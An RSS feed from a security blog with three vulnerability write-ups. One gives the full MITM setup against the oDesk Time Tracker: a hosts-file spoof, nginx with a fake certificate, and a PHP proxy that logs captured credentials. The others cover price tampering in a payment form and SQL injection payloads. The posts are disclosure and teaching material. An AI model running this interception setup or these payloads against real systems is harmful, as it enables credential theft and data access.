<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Ars Longa, Vita Brevis &#187; спуфинг</title>
	<atom:link href="http://blog.sjinks.pro/tag/spoofing/feed/" rel="self" type="application/rss+xml" />
	<link>http://blog.sjinks.pro</link>
	<description>Quod scripsi, scripsi</description>
	<lastBuildDate>Mon, 06 Feb 2012 17:56:02 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>oDesk Time Tracker Vulnerabilities</title>
		<link>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/</link>
		<comments>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/#comments</comments>
		<pubDate>Mon, 15 Jun 2009 17:42:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[MITM]]></category>
		<category><![CDATA[nginx]]></category>
		<category><![CDATA[oDesk]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[SSL]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=581</guid>
		<description><![CDATA[When SSL is not enough oDesk Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various Man-in-the-Middle attacks (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>When <a href="http://blog.sjinks.pro/tag/ssl/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  SSL">SSL</a> is not enough</em></h2>
<ol>
<li><a href="http://blog.sjinks.pro/tag/odesk/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  oDesk">oDesk</a> Time Tracker does not verify the SSL certificate of the host it connects to thus becoming vulnerable to various <a href="http://en.wikipedia.org/wiki/Man-in-the-middle_attack">Man-in-the-Middle attacks</a> (if an attacker is able to spoof DNS for team.odesk.com — say, by setting up a fake DHCP and DNS servers in the local network — or posion the DNS cache or whatever — this is <a href="http://www.securesphere.net/download/papers/dnsspoof.htm">doable</a>).<span id="more-581"></span>
<p>To imitate the DNS spoofing we will need to edit <code>/etc/hosts</code> file:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5815">
        <div class="code text" id="p581code5">
127.0.0.1 team.odesk.com
        </div>
    </div>
</div>

<p>And set up a virtual host for our local web server (which will act as a proxy between the Time Tracker and the oDesk server) — I used <a href="http://blog.sjinks.pro/tag/nginx/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  nginx">nginx</a>:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5816">
        <div class="code nginx" id="p581code6">
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">80</span>;<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}<br />
<br />
<span class="kw1">server</span> {<br />
&nbsp; &nbsp; <span class="kw1">listen</span> <span class="nu0">443</span>;<br />
&nbsp; &nbsp; <span class="kw1">keepalive_timeout</span> <span class="nu0">70</span>;<br />
<br />
&nbsp; &nbsp; <span class="kw1">server_name</span> &nbsp;default;<br />
&nbsp; &nbsp; <span class="kw1">access_log</span> &nbsp;/var/log/nginx/secure-team.odesk.com-access.log;<br />
&nbsp; &nbsp; error_log &nbsp;/var/log/nginx/secure-team.odesk.com-error.log;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate</span> /etc/nginx/certs/fake-cert.crt;<br />
&nbsp; &nbsp; <span class="kw1">ssl_certificate_key</span> /etc/nginx/certs/fake-cert.key;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_timeout</span> 5m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">ssl_protocols</span> SSLv3 TLSv1;<br />
&nbsp; &nbsp; <span class="kw1">ssl_ciphers</span> HIGH:MEDIUM;<br />
&nbsp; &nbsp; <span class="kw1">ssl_prefer_server_ciphers</span> <span class="kw2">on</span>;<br />
&nbsp; &nbsp; <span class="kw1">ssl_session_cache</span> shared:SSL:10m;<br />
<br />
&nbsp; &nbsp; <span class="kw1">root</span> /var/www/team.odesk.com;<br />
<br />
&nbsp; &nbsp; <span class="kw1">try_files</span> junk @proxy;<br />
<br />
&nbsp; &nbsp; <span class="kw1">location</span> @proxy {<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_pass</span> 127.0.0.1:<span class="nu0">8000</span>;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_index</span> <span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">fastcgi_param</span> SCRIPT_FILENAME /var/www/team.odesk.com/<span class="kw1">index</span>.php;<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">include</span> /etc/nginx/fastcgi_params;<br />
&nbsp; &nbsp; }<br />
}
        </div>
    </div>
</div>

<p>Nice <a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">PHP</a> proxy that logs all communication between the client and server:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5817">
        <div class="code php" id="p581code7">
<span class="kw2">&lt;?php</span><br />
&nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_POST</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$ch</span> <span class="sy0">=</span> <span class="kw3">curl_init</span><span class="br0">&#40;</span><span class="st_h">'https://209.128.65.132'</span> <span class="sy0">.</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span> <span class="sy0">=</span> <span class="re0">$_POST</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">if</span> <span class="br0">&#40;</span><span class="kw4">false</span> <span class="sy0">==</span> <span class="kw1">empty</span><span class="br0">&#40;</span><span class="re0">$_FILES</span><span class="br0">&#41;</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">foreach</span> <span class="br0">&#40;</span><span class="re0">$_FILES</span> <span class="kw1">as</span> <span class="re0">$key</span> <span class="sy0">=&gt;</span> <span class="re0">$item</span><span class="br0">&#41;</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$data</span><span class="br0">&#91;</span><span class="re0">$key</span><span class="br0">&#93;</span> <span class="sy0">=</span> <span class="st_h">'@'</span> <span class="sy0">.</span> <span class="re0">$item</span><span class="br0">&#91;</span><span class="st_h">'tmp_name'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="br0">&#125;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$f</span> <span class="sy0">=</span> <span class="kw3">fopen</span><span class="br0">&#40;</span><span class="kw3">dirname</span><span class="br0">&#40;</span><span class="kw4">__FILE__</span><span class="br0">&#41;</span> <span class="sy0">.</span> <span class="st_h">'/log.txt'</span><span class="sy0">,</span> <span class="st0">&quot;a&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$_SERVER</span><span class="br0">&#91;</span><span class="st_h">'REQUEST_URI'</span><span class="br0">&#93;</span> <span class="sy0">.</span> <span class="st0">&quot;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&lt;&lt;&lt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="kw3">print_r</span><span class="br0">&#40;</span><span class="re0">$data</span><span class="sy0">,</span> 1<span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;&gt;&gt;&gt;<span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POST<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_POSTFIELDS<span class="sy0">,</span> <span class="re0">$data</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HTTPHEADER<span class="sy0">,</span> <span class="kw1">array</span><span class="br0">&#40;</span><span class="st_h">'Host: team.odesk.com'</span><span class="br0">&#41;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_RETURNTRANSFER<span class="sy0">,</span> <span class="kw4">true</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_HEADER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYPEER<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_setopt</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="sy0">,</span> CURLOPT_SSL_VERIFYHOST<span class="sy0">,</span> <span class="kw4">false</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="re0">$s</span> <span class="sy0">=</span> <span class="kw3">curl_exec</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">curl_close</span><span class="br0">&#40;</span><span class="re0">$ch</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="re0">$s</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fwrite</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="sy0">,</span> <span class="st0">&quot;---<span class="es1">\n</span><span class="es1">\n</span><span class="es1">\n</span>&quot;</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw3">fclose</span><span class="br0">&#40;</span><span class="re0">$f</span><span class="br0">&#41;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="re0">$s</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
&nbsp; &nbsp; <span class="kw1">else</span> <span class="br0">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;status=S_OK<span class="es1">\n</span>&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span class="kw1">print</span> <span class="st0">&quot;Fraude perit virtus&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="br0">&#125;</span><br />
<span class="sy1">?&gt;</span>
        </div>
    </div>
</div>

<p>Thus, when a provider logs into his oDesk Account using the tracker, his session gets intercepted and all traffic can be logged:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p5818">
        <div class="code text" id="p581code8">
SERVER: https://209.128.65.132/client/receiver<br />
IN:<br />
Array<br />
(<br />
&nbsp; &nbsp; [version] =&gt; Linux/1.3.4<br />
&nbsp; &nbsp; [status] =&gt; C_NORMAL<br />
&nbsp; &nbsp; [company] =&gt; ics2:ics2<br />
&nbsp; &nbsp; [user] =&gt; vkolesnikov<br />
&nbsp; &nbsp; [password] =&gt; password_goes_here<br />
&nbsp; &nbsp; [uid] =&gt; 5f323dce-ee5c-4347-9074-ed5d356362d4<br />
&nbsp; &nbsp; [computer] =&gt; SJINKS<br />
&nbsp; &nbsp; [os] =&gt; Linux Ubuntu 9.04 (2.6.28-13-server)<br />
&nbsp; &nbsp; [snapint] =&gt; 600<br />
&nbsp; &nbsp; [trigger] =&gt; login<br />
&nbsp; &nbsp; [keyev] =&gt; 1<br />
&nbsp; &nbsp; [mousev] =&gt; 1<br />
&nbsp; &nbsp; [events_per_minute] =&gt; 1245070126,1,1<br />
&nbsp; &nbsp; [activewintitle] =&gt; client : mc<br />
&nbsp; &nbsp; [screensaveron] =&gt; false<br />
&nbsp; &nbsp; [memo] =&gt;.<br />
&nbsp; &nbsp; [task_id] =&gt;.<br />
&nbsp; &nbsp; [task_description] =&gt;.<br />
&nbsp; &nbsp; [screenshot_width] =&gt; 1680<br />
&nbsp; &nbsp; [screenshot_height] =&gt; 1050<br />
&nbsp; &nbsp; [timestamp] =&gt; 1245070127<br />
&nbsp; &nbsp; [screen] =&gt; @/tmp/phpqzwmeh<br />
)<br />
<br />
OUT:<br />
status=S_OK<br />
servertime=1245070127<br />
hiresdesktop=enable<br />
webcam=user<br />
period=600<br />
use_https=yes<br />
company_name=ICS<br />
first_name=Vladimir<br />
last_name=Kolesnikov<br />
tz=Europe/Athens<br />
company=ics2:ics2<br />
login=vkolesnikov<br />
companies=Sphere314,extrememember,ics2:ics2<br />
odeskmeter=0.67,0.67,74.17,16.75,16.75,1854.25<br />
task_integration_policy=1<br />
cache_size=120
        </div>
    </div>
</div>

And here comes the second vulnerability.</li>
<li>
Since the attacker is able to intercept the session, he would be able to intercept the login and password the provider used to log in (since they are transferred in clear text). And since oDesk Time Tracker login is the same as odesk.com login the attacker will be able to log in as the provider whose session he has intercepted/ With the help of social engineering it could be possible to find the answer to the secret question (actually it could be easier than to spoof the DNS); and if the provider is away, the attacker can make a withdrawal to his account.
</li>
</ol>
<p>The main issue is that oDesk Time Tracker does not verify the host it connects to — which makes these vulnerabilities possible. If SSL certificate verification is implemented, this will make attacker&#8217;s life more difficult. And to improve security of the odesk.com account the oDesk Time Tracker could send a hash of the password instead of the password itself. Provided that a strong and secure hash function is used, it will be nearly impossible to reverse the hash to get the original password. Then oDesk account is safe, and even if the oDesk Team session is intercepted, the attacker would be unable to do anything with provider&#8217;s account.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/581-odesk-time-tracker-vulnerabilities/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Как не нужно интегрировать платёжные системы</title>
		<link>http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/</link>
		<comments>http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/#comments</comments>
		<pubDate>Fri, 21 Nov 2008 01:16:33 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[взлом]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/?p=362</guid>
		<description><![CDATA[А Вы тоже доверяете своим программистам? Мы идём к Вам! Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок. Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта): Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>А Вы тоже доверяете своим программистам? Мы идём к Вам!</em></h2>
<p><strong style="color: red">Внимание: данную статью не следует воспринимать как руководство юного хакера; материал приведён исключительно в ознакомительных целях, чтобы программисты не повторяли подобных ошибок.</strong><span id="more-362"></span></p>
<p>Итак, имеем платёжную форму (информация, идентифицирующая сайт, затёрта):<br />
<img src="http://static.sjinks.info/wp-content/uploads/2008/11/source-form.png" alt="Исходная форма" title="Исходная форма" class="size-full wp-image-363" /></p>
<p>Ничего сверхестественного: нам предлагают купить некую услугу за $99 в месяц. Всё как обычно. Интересные вещи начинаются, когда смотришь на детали формы:</p>
<p><img src="http://static.sjinks.info/wp-content/uploads/2008/11/form-details.png" alt="Информация о форме" title="Информация о форме" class="size-full wp-image-364" /></p>
<p>Для тех, кто не знает: сумма платежа для системы SecurePay задается как целое число (исходноё значение умножается на 100). Так, $99.00 передается как 9900, а, скажем, $20.45&nbsp;&mdash;&nbsp;как 2045.</p>
<p>У любого человека, занимавшегося интеграцией платёжных систем и имеющего опыт в компьютерной безопасности, возникает законный вопрос: если скрипт перед отправкой платёжных данных обрабатывает эти самые данные, зачем помещать в форму итоговое значение, причем отформатированное для платёжной системы? Если этот человек имел дело с <a href="http://blog.sjinks.pro/humour/76-programmers-russian-indian-chinese-canadian/">индопакистанофилиппинцами</a>, то ему только остаётся схватиться за голову.</p>
<p>А что произойдет, если подменить значение на, скажем, 0100 ($1)? На нулевое менять нельзя, любая уважающая себя платёжка ругнётся; например, так:</p>
<p><img src="http://static.sjinks.info/wp-content/uploads/2008/11/invalid-amount.png" alt="Invalid Amount" title="Invalid Amount" class="size-medium wp-image-365" /></p>
<p>Кстати, отрицательный результат&nbsp;&mdash;&nbsp;тоже результат: ошибку возвращает SecurePay, а из этого следует, что скрипт <strong>не проверяет значение суммы платежа</strong>, и ему можно скормить <strong>любое значение</strong>!</p>
<p>Итак, меняем сумму платежа:<br />
<img src="http://static.sjinks.info/wp-content/uploads/2008/11/changed-amount.png" alt="Изменённое значение суммы платежа" title="Изменённое значение суммы платежа" class="alignnone size-full wp-image-366" /></p>
<p>И отправляем форму. В результате получаем такую картину:<br />
<img src="http://static.sjinks.info/wp-content/uploads/2008/11/payment-successful.png" alt="Платёж прошел успешно" title="Платёж прошел успешно" class="alignnone size-full wp-image-367" /></p>
<p>Осталось посмотреть, сколько денег снялось:<br />
<img src="http://static.sjinks.info/wp-content/uploads/2008/11/amount-charged.png" alt="Снялся один доллар" title="Снялся один доллар" class="alignnone size-full wp-image-368" /></p>
<p>Как видим, снялся $1.00&nbsp;&mdash;&nbsp;операция прошла успешно.</p>
<p>Программистам (справедливости ради стоит отметить, что это были не индийцы, а румынец из компании SurgeWorks) могу сказать следующее: <a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/"><strong>никогда</strong> не доверяйте данным, которые пришли от пользователя</a>. Лень (и непрофессионализм) в этом случае могут обернуться большими потерями.</p>
<p><strong>Update:</strong> чтобы ни у кого не возникало желание обвинить меня в обмане владельца сайта и взломе всяких разных сайтов, к которым я не имею никакого отношения (Jurgen, привет!): я поставил владельца сайта в известность, и мы с ним работаем над устранением уязвимости.</p>
<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/">источник</a> обязательно.</p>]]></content:encoded>
			<wfw:commentRss>http://blog.sjinks.pro/security/362-incorrect-way-to-integrate-payment-gateways/feed/</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>Безопасность, о которой все так много говорят…</title>
		<link>http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/</link>
		<comments>http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/#comments</comments>
		<pubDate>Tue, 11 Mar 2008 03:10:56 +0000</pubDate>
		<dc:creator>Vladimir</dc:creator>
				<category><![CDATA[Безопасность]]></category>
		<category><![CDATA[mime-type]]></category>
		<category><![CDATA[SQL-инъекция]]></category>
		<category><![CDATA[атака]]></category>
		<category><![CDATA[безопасность]]></category>
		<category><![CDATA[спуфинг]]></category>
		<category><![CDATA[уязвимость]]></category>

		<guid isPermaLink="false">http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/</guid>
		<description><![CDATA[Почему никогда нельзя доверять пользователю, если Вас беспокоит безопасность Специалисты по безопасности, пожалуй, всем уже проели плешь, говоря о том, что все данные, приходящие от пользователя, нужно тщательно проверять&#8230; Казалось бы, "азбучные истины", этому должны учить в школе . Мне стало интересно: а многие ли сайты действительно защищены? Внимание: материал предоставлен только в ознакомительных/образовательных целях! [...]<p>© 2012 <a href="http://blog.sjinks.pro">Ars Longa, Vita Brevis</a>. Все права защищены. Перепубликация материалов без разрешения автора запрещена.</p>
<p>При использовании материалов блога наличие активной не закрытой от индексирования ссылки на <a href="http://blog.sjinks.pro/security/9-security-they-talk-so-much-about/">источник</a> обязательно.</p>]]></description>
			<content:encoded><![CDATA[<h2><em>Почему никогда нельзя доверять пользователю, если Вас беспокоит <a href="http://blog.sjinks.pro/tag/tag-security/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  безопасность">безопасность</a></em></h2>
<p>Специалисты по безопасности, пожалуй, всем уже проели плешь, говоря о том, что все данные, приходящие от пользователя, нужно тщательно проверять&hellip; Казалось бы, "азбучные истины", этому должны учить в школе <img src='http://static.sjinks.info/wp-includes/images/smilies/icon_smile.gif' alt=':-)' class='wp-smiley' />  . Мне стало интересно: а многие ли сайты действительно защищены?<span id="more-9"></span></p>
<p><script type="text/javascript">odl.register(initLightbox);</script></p>
<p style="color: red"><strong>Внимание:</strong> материал предоставлен только в ознакомительных/образовательных целях! Автор не несёт ответственности за всё, что может случиться. Данная статья <strong>не должна</strong> рассматриваться, как практическое руководство по взлому; статья является обзором наиболее типичных ошибок программистов и объясняет, как именно невнимательность разработчиков может служить источником дыр безопасности.</p>
<p>Одна из самых распространённых атак (я не беру DoS, DDoS и иже с ними)&nbsp;&mdash;&nbsp;это SQL Injection Attack.</p>
<p>Как пишет Wikipedia,</p>
<blockquote cite="http://ru.wikipedia.org/wiki/%D0%98%D0%BD%D1%8A%D0%B5%D0%BA%D1%86%D0%B8%D1%8F_SQLL">Инъекция SQL (англ. SQL injection) — один из распространённых способов взлома сайтов и программ, работающих с базами данных, основанный на внедрении в запрос произвольного SQL-кода.
<p>Инъекция SQL, в зависимости от типа используемой СУБД и условий инъекции, может дать возможность атакующему выполнить произвольный запрос к базе данных (например, прочитать содержимое любых таблиц, удалить, изменить или добавить данные), получить возможность чтения и/или записи локальных файлов и выполнения произвольных команд на атакуемом сервере.</p>
<p>Атака типа инъекции SQL может быть возможна из-за некорректной обработки входящих данных, используемых в SQL-запросах.</p></blockquote>
<p>Как уже было сказано, такие атаки проходят из-за недостаточной обработки входных параметров скрипта. Нередки случаи, когда программисты-новички, полагают, что если ID записи&nbsp;&mdash;&nbsp;это число, то скрипт всегда будет получать именно число, а не строку. Простой пример реального кода:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p917">
        <div class="code php" id="p9code17">
&nbsp; &nbsp; <span class="re0">$id</span> <span class="sy0">=</span> <span class="re0">$_GET</span><span class="br0">&#91;</span><span class="st_h">'id'</span><span class="br0">&#93;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$query</span> <span class="sy0">=</span> <span class="st0">&quot;SELECT * FROM <span class="es4">{$members}</span> WHERE id = <span class="es4">$id</span> LIMIT 1&quot;</span><span class="sy0">;</span><br />
&nbsp; &nbsp; <span class="re0">$res</span> <span class="sy0">=</span> <span class="kw3">mysql_query</span><span class="br0">&#40;</span><span class="re0">$query</span><span class="sy0">,</span> <span class="re0">$link</span><span class="br0">&#41;</span><span class="sy0">;</span>
        </div>
    </div>
</div>

<p>Всем хорош код, когда <var>$id</var>&nbsp;&mdash;&nbsp;это число. Например, если скрипт был вызван "script.<a href="http://blog.sjinks.pro/tag/php/" class="st_tag internal_tag" rel="tag" title="Записи, помеченные с  PHP">php</a>?id=123", то запрос принял бы следуюший вид:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p918">
        <div class="code mysql" id="p9code18">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> members <span class="kw1">WHERE</span> id <span class="sy1">=</span> 123 <span class="kw1">LIMIT</span> <span class="nu0">1</span>
        </div>
    </div>
</div>

<p>Всё хорошо, но встречаются нехорошие дяди, которые вместо числа могут скормить скрипту всякую каку: для данного простого примера достаточно передать скрипту в параметрах script.php?id=<strong>0</strong>%20<strong>OR</strong>%20<strong>1</strong>, чтобы заставить его выбрать все записи (о том, как обойти LIMIT, чуть ниже). Фактически, запрос будет переписан в виде</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p919">
        <div class="code mysql" id="p9code19">
<span class="kw1">SELECT</span> <span class="sy1">*</span> <span class="kw1">FROM</span> members <span class="kw1">WHERE</span> id <span class="sy1">=</span> 0 <span class="kw10">OR</span> 1 <span class="kw1">LIMIT</span> <span class="nu0">1</span>
        </div>
    </div>
</div>

<p>Так как практически всегда для ID используются автоинкрементные поля, то выражение <code>(id = 0)</code> будет всегда ложно. А <code>(FALSE OR 1)</code>&nbsp;&mdash;&nbsp;всегда истинно.</p>
<p>Даже если запрос содержит <code>LIMIT</code>, это не спасает от выборки произвольной записи: script.php?id=<strong>0</strong>%20<strong>OR</strong>%20<strong>1</strong>%20<strong>LIMIT</strong>%20<strong>A,B/*</strong>%20<strong>--</strong></p>
<p>Вместо A и B&nbsp;&mdash;&nbsp;значения для <code>offset</code> и <code>count</code> соответственно, например:</p>
          
<div class="codebox">
    <div class="the_code" style="" id="p920">
        <div class="code mysql" id="p9code20">
